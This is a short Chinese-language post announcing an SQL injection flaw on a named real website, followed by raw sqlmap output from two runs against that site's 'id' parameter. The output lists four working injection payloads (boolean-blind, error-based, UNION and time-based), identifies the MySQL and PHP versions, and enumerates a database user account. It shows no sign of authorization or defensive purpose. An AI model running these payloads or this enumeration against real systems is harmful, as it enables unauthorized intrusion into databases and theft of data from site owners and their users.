长城小站存在SQL注入

注入点：http://www.thegreatwall.com.cn/zhuanti/victory60/showcontent.php?id=41475

[~]# Sqlmap -u "http://www.thegreatwall.com.cn/zhuanti/victory60/show
 content.php?id=41475" -D lik37b1_db --tables
 
     sqlmap/1.0-dev - automatic SQL injection and database takeover tool
     http://sqlmap.org
 
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  consent is illegal. It is the end user's responsibility to obey all applicable
 local, state and federal laws. Developers assume no liability and are not respon
 sible for any misuse or damage caused by this program
 
 [*] starting at 23:12:02
 
 [23:12:02] [INFO] resuming back-end DBMS 'mysql'
 [23:12:02] [INFO] testing connection to the target url
 sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: GET
 Parameter: id
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: id=41475' AND 9727=9727 AND 'eLgQ'='eLgQ
 
     Type: error-based
     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
     Payload: id=41475' AND (SELECT 8301 FROM(SELECT COUNT(*),CONCAT(0x3a776c783a
 ,(SELECT (CASE WHEN (8301=8301) THEN 1 ELSE 0 END)),0x3a776b623a,FLOOR(RAND(0)*2
 ))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ipNx'='ipNx
 
     Type: UNION query
     Title: MySQL UNION query (NULL) - 20 columns
     Payload: id=41475' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL,
 NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a776c783a,0x6e6c587766767246
 5555,0x3a776b623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
 
     Type: AND/OR time-based blind
     Title: MySQL > 5.0.11 AND time-based blind
     Payload: id=41475' AND SLEEP(5) AND 'xFTO'='xFTO
 ---
 [23:12:03] [INFO] the back-end DBMS is MySQL
 web application technology: PHP 5.3.3, Apache
 back-end DBMS: MySQL 5.0
 [23:12:03] [INFO] fetching tables for database: 'lik37b1_db'
 [23:12:03] [INFO] fetching number of tables for database 'lik37b1_db'
 [23:12:03] [WARNING] running in a single-thread mode. Please consider usage of o
 ption '--threads' for faster data retrieval
 [23:12:03] [INFO] retrieved: 0
 [23:12:05] [WARNING] unable to retrieve the number of tables for database 'lik37
 b1_db'
 [23:12:05] [ERROR] unable to retrieve the table names for any database
 do you want to use common table existence check? [y/N/q]
 No tables found
 [23:12:06] [WARNING] cannot properly display Unicode characters inside Windows O
 S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
 ll result in replacement with '?' character. Please, find proper character repre
 sentation inside corresponding output files.
 
 [23:12:06] [INFO] fetched data logged to text files under 'F:/Y??~1/tools/????/S
 QLMAP~2/Bin/output/www.thegreatwall.com.cn'
 
 [*] shutting down at 23:12:06
 
 [~]# Sqlmap -u "http://www.thegreatwall.com.cn/zhuanti/victory60/show
 content.php?id=41475" --users
 
     sqlmap/1.0-dev - automatic SQL injection and database takeover tool
     http://sqlmap.org
 
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  consent is illegal. It is the end user's responsibility to obey all applicable
 local, state and federal laws. Developers assume no liability and are not respon
 sible for any misuse or damage caused by this program
 
 [*] starting at 23:13:22
 
 [23:13:22] [INFO] resuming back-end DBMS 'mysql'
 [23:13:22] [INFO] testing connection to the target url
 sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: GET
 Parameter: id
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: id=41475' AND 9727=9727 AND 'eLgQ'='eLgQ
 
     Type: error-based
     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
     Payload: id=41475' AND (SELECT 8301 FROM(SELECT COUNT(*),CONCAT(0x3a776c783a
 ,(SELECT (CASE WHEN (8301=8301) THEN 1 ELSE 0 END)),0x3a776b623a,FLOOR(RAND(0)*2
 ))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ipNx'='ipNx
 
     Type: UNION query
     Title: MySQL UNION query (NULL) - 20 columns
     Payload: id=41475' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL,
 NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a776c783a,0x6e6c587766767246
 5555,0x3a776b623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
 
     Type: AND/OR time-based blind
     Title: MySQL > 5.0.11 AND time-based blind
     Payload: id=41475' AND SLEEP(5) AND 'xFTO'='xFTO
 ---
 [23:13:23] [INFO] the back-end DBMS is MySQL
 web application technology: PHP 5.3.3, Apache
 back-end DBMS: MySQL 5.0
 [23:13:23] [INFO] fetching database users
 [23:13:24] [INFO] the SQL query used returns 1 entries
 [23:13:24] [INFO] retrieved: "'luk37b1'@'localhost'"
 database management system users [1]:
 [*] 'luk37b1'@'localhost'
 
 [23:13:25] [WARNING] cannot properly display Unicode characters inside Windows O
 S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
 ll result in replacement with '?' character. Please, find proper character repre
 sentation inside corresponding output files.
 [23:13:25] [INFO] fetched data logged to text files under 'F:/Y??~1/tools/????/S
 QLMAP~2/Bin/output/www.thegreatwall.com.cn'